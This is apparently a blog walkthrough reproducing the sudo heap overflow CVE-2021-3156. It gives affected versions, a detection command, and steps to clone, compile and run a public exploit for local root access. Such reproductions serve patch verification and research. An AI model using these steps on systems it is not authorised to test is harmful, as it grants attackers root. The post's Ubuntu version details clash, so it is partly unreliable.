← Back to all posts
Internal Network Security Research1 min read

Linux sudo Privilege Escalation Vulnerability CVE-2021-3156 Reproduction with Exploit

0x01 CVE-2021-3156: A heap-based buffer overflow was discovered in the way sudo parses command-line arguments. Any local user—including regular and system users, sudoers, and non-sudoers—can exploit it without authentication or knowing the user’s password. Successful exploitation can grant root privileges. 0x02 Affected versions…

#Web Vulnerability Reproduction and Analysis
Read in Chinese→

0x01 CVE-2021-3156: Buffer Overflow Vulnerability

A heap-based buffer overflow was discovered in the way sudo parses command-line arguments. Any local user (regular or system user, sudoer or non-sudoer) can exploit this vulnerability without authentication, and the attacker does not need to know the user’s password. Successful exploitation can grant root privileges.

0x02 Affected Versions

Sudo 1.8.2 - 1.8.31p2

Sudo 1.9.0 - 1.9.5p1

Unaffected versions

Sudo =>1.9.5p2

0x03 Vulnerability Detection

Test environment: ubuntu:20.04

Check whether the vulnerability exists:

sudoedit -s /

If an error beginning with sudoedit: appears as shown below, the vulnerability exists.

image-20210204101652297

If the response is an error beginning with usage:, the patch has taken effect.

0x04 Vulnerability Reproduction Exploit

The current user is a regular user.

image-20210204102142295

Download the exploit:

git clone https://github.com/blasty/CVE-2021-3156.git

Enter the directory and compile it:

$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
$ ls
Makefile  README.md  brute.sh  hax.c  lib.c  libnss_X  sudo-hax-me-a-sandwich

image-20210204104017615

Run the exploit and select the system:

./sudo-hax-me-a-sandwich

image-20210204104245921

Finally, run the following (because the system is ubuntu10.04.1):

./sudo-hax-me-a-sandwich 1

image-20210204104512915

Privilege escalation succeeded.

Exploit URL
https://github.com/blasty/CVE-2021-3156.git